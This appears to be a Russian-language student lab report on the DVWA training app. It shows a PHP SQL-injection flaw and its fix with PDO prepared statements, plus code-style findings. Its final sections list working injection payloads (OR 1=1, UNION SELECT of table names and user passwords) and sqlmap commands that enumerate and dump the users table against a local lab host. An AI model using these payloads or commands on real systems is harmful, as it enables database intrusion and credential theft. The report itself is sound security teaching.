Skip to content

ToxicCreator/SECURE_LAB_4

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 

Repository files navigation

Использование статического анализатора кода для обеспечения безопасности

Участок кода, содержащий инъекцию SQL

Вредоносное значение может быть присвоено переменной $id. И затем с помощью этой переменной формируется SQL запрос:

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid );

image Источники:

Кодревью

Сервис статического анализа кода указал следующие проблемы в исследуемом коде: image

Не следует использовать символы табуляции

Разработчикам не нужно настраивать ширину табуляции своих текстовых редакторов, чтобы иметь возможность читать исходный код. Вместо табуляции использовать пробелы.

Файлы должны содержать пустую новую строку в конце

Некоторые инструменты работают лучше, когда файлы заканчиваются пустой строкой.

Исходный код должен соответствовать стандартам форматирования

Общие соглашения о кодировании позволяют команде эффективно сотрудничать. Это правило вызывает проблемы из-за несоблюдения стандарта форматирования. Значения параметров по умолчанию соответствуют стандарту PSR2.

Исправление кода

Предотвращение SQL инъекции

Применена технология PDO.

PDO (PHP Data Objects — расширение для PHP, предоставляющее разработчику универсальный интерфейс для доступа к различным базам данных).

Принцип работы PDO заключается в том, что он отдельно отправляет инструкцию и отдельно данные, строго указывая, что данные это только данные. Другими словами, при привязке параметра через PDO, вы сообщаете БД, какие значения использовать при выполнении запроса. Затем PDO передаст значение уже скомпилированной инструкции.

Разница между параметрами привязки и простой старой строковой инъекцией заключается в том, что в первом случае значение не интерполируется, а скорее присваивается. Во время выполнения СУБД находит заполнитель и запрашивает значение для использования. Таким образом, нет никаких шансов, что кавычки или другие гадости проберутся в фактическое утверждение.

$db = new PDO('mysql:host=localhost;dbname=dvwa', $user, $password);

В нашем запросе передаётся переменная $id, поэтому этот запрос в обязательном порядке должен выполняться только через подготовленные выражения.

Подготовленные выражения в PDO - это обычный SQL запрос, в котором вместо переменной ставится специальный маркер - плейсхолдер.

PDO поддерживает именованные плейсхолдеры, для которых порядок не важен. В данном случае используем именнованный плейсхолдер :id:

$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();

Добавлена проверка вводимого значения $id с помощью функции is_numeric(), для установления соответсивия типа числовому значению.

Стандартизация кода

Убраны "запахи кода" в соответсвии со стандартом PSR2. PSR-2 – Рекомендации по оформлению кода.

Цель данных рекомендаций – снижение сложности восприятия кода, написанного разными авторами; она достигается путём рассмотрения серии правил и ожиданий относительно форматирования PHP-кода.

Результаты

Результаты проверки кода после исправления

Burp

Настроив Burp и включив прокси в браузере при помощи предустановленных расширений мы можем начать перехватывать запросы из браузера. В Burp Suite, можно увидеть перехваченные данные: image

Заменим id=1 на id=1 OR 1=1# (с использованием URL-encode), в ответ получим всех пользователей:

image

Произведём следующую инъекцию:

id=1 UNION SELECT NULL,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES#

В ответ получим названия таблиц:

image

Произведём следующую инъекцию:

id=1 UNION SELECT USER,PASSWORD FROM users#

В ответ получим пароли пользователей:

image

SQLMap

Воспользуемся утилитой для поиска уязвимых параметров запроса.

sqlmap.py -u "http://dvwa.local/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=99gsrgjfdlsn3qn29s5oc4c76f; security=medium" -p id

image

В результате поиска выявлена уязвимость типа boolean-based blind и time-based blind у параметра id.

  • Boolean based Blind SQL Injection - это техника инъекции, которая заставляет приложение возвращать различное содержимое в зависимости от логического результата (TRUE или FALSE) при запросе к реляционной базе данных.
  • Time based Blind SQL Injection - SQL-запросы, которые вынуждают базу данных ждать определенное время, прежде чем ответить. Время ответа укажет злоумышленнику, является ли результат запроса истинным или ложным.

Получим список имеющихся баз данных с помощью команды:

sqlmap.py -u "http://dvwa.local/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=99gsrgjfdlsn3qn29s5oc4c76f; security=medium" -p id --dbs

image

Получим список имеющихся таблиц базы данных dvwa с помощью команды:

sqlmap.py -u "http://dvwa.local/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=99gsrgjfdlsn3qn29s5oc4c76f; security=medium" -p id -D dvwa --tables

image

Затем получим строки из таблицы users:

sqlmap.py -u "http://dvwa.local/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="PHPSESSID=99gsrgjfdlsn3qn29s5oc4c76f; security=medium" -p id -D dvwa -T users --dump

image

В итоге утилита SQLmap осуществила перебор паролей по имеющимся в таблице хэшам, в результате чего вывела и пароли пользователей.

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

Packages

Contributors

Languages